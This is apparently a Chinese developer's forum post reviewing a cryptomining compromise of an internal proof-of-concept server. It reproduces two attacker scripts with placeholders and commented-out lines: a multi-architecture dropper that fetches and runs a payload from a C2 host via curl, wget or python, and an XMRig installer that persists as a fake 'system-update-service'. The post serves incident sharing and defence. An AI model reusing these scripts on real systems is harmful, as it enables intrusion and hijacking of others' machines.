早上收到阿里云短信,说有一台服务器被用来挖矿,排查发现哥们用漏洞来注入用于挖门罗币。 做开发 12 年了第一次遇到服务器被人搞,说实话还有点刺激还有点兴奋。
复盘一下经过,大家共赏:
1 、收到阿里云报警说有服务器用于挖矿
2 、阿里云后台定位到了大致的挖矿文件

3 、上服务器一看

好家伙确实多了不少东西,有两个核心的攻击脚本,一个是 python1.sh ,一个是 sex.sh ,直接脱敏后放出脚本大家共赏:
#!/bin/bash # ========== 脱敏说明 ========== # 1. 攻击者 IP/端口替换为[攻击者 C2 服务器 IP:端口] # 2. 恶意程序随机文件名替换为[恶意程序随机文件名] # 3. 下载/执行类恶意逻辑添加注释,仅保留结构 # 4. 核心攻击特征已标注,无任何可执行的恶意代码 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex export PATH=$PATH:$(pwd) l64="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=l64&stage=true" # Linux x86_64 架构 l32="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=l32&stage=true" # Linux x86 32 位架构 a64="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=a64&stage=true" # ARM64 架构 a32="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=a32&stage=true" # ARM32 架构 v="[恶意程序随机文件名]" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then # (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then # (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "i686x" ]; then # (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "aarch64x" ]; then # (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")') elif [ ${ARCH}x = "armv7lx" ]; then # (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'impot urllib;urllib.urlretrieve("http://'$a32'", "'$v'")') fi # chmod +x $v # (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &) 这个主要是为了下载第二层的恶意程序,从实际结果来看,恶意程序伪装成了 docker ,在 tmp 文件夹下跑,由于是二进制文件,目前还没有进一步查验它在做啥,不过大概率也是挖矿,因为看到了一个挖矿的 config 文件。
#!/bin/bash # ========== 脱敏说明 ========== # 1. 挖矿池地址/钱包 ID/TLS 指纹替换为占位符,无法用于实际挖矿; # 2. 下载/解压/执行类恶意命令全部注释,仅保留攻击结构; # 3. 服务器环境特征(如$(pwd))替换为占位符,避免溯源风险; # Configuration TAR_FILE="kal.tar.gz" EXTRACT_DIR="xmrig-6.24.0"( 6.24.0 ) BINARY_PATH="[当前路径]/$EXTRACT_DIR/xmrig" ARGS="--url [恶意挖矿池地址] --user [攻击者挖矿钱包 ID] --pass next --donate-level 0 --tls --tls-fingerprint [恶意 TLS 指纹]" SERVICE_NAME="system-update-service" # Download and setup if not already present if [ ! -f "$BINARY_PATH" ]; then # curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz # tar xvzf "$TAR_FILE" fi # chmod +x "$BINARY_PATH" # Attempt systemd setup INSTALLED_SYSTEMD=0 if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then echo "Root privileges detected. Attempting systemd setup..." SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service" # cat <<EOF > "$SERVICE_FILE" # [Unit] # Description=System Update Service # After=network.target # # [Service] # Type=simple # ExecStart=${BINARY_PATH} ${ARGS} # Restart=always # RestartSec=10 # User=root # # [Install] # WantedBy=multi-user.target # EOF # systemctl daemon-reload # systemctl enable "$SERVICE_NAME" # systemctl start "$SERVICE_NAME" if systemctl is-active --quiet "$SERVICE_NAME"; then echo "Service started via systemd." INSTALLED_SYSTEMD=1 fi fi # Fallback to nohup if [ $INSTALLED_SYSTEMD -eq 0 ]; then echo "Starting with nohup..." # nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 & fi 是的你没看错,这个脚本甚至自带注释,甚至还 echo 了进度……不知道这个人从哪下的示例代码分发的……逻辑比较清晰,把挖矿程序伪装成系统服务。
4 、处理
由于感染的服务器是公司很边缘的、用于内部一些脑洞项目 poc 测试的小服务器,所以在权限管理上十分松懈,直接用 root 用户部署的各类小 Demo App ,导致这次漏洞也轻松的让攻击者获得了 root 权限,可能还替换了部分系统文件,机器肯定是不能留了……
下一步排查一下上面在跑的服务,备份数据,销毁重建。
